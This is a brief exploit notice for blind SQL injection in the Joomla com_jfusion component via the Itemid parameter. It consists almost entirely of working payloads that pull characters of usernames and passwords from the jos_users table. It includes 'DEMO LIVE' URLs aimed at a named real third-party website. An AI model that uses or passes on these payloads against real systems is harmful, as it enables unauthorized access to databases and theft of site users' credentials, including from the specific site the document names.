http://localHost/path/index.php?option=com_jfusion&Itemid=n[Sql Code]
n:valid Itemid

Sql code:
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1/*

etc, etc...

DEMO LIVE:
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1


http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=97
